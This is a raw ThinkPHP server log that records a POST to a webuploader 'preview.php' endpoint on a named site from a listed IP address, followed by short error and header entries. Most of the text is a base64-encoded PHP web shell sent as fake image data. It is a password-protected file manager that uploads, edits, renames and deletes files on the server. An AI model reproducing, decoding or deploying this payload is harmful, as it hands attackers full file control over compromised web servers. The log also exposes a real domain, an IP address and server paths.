KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:16+08:00 ] 119.42.146.234 POST 51tianwei.com/Content/webuploader/0.1.5/server/preview.php [运行时间:0.002804s] [吞吐率:356.63req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Content', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZSh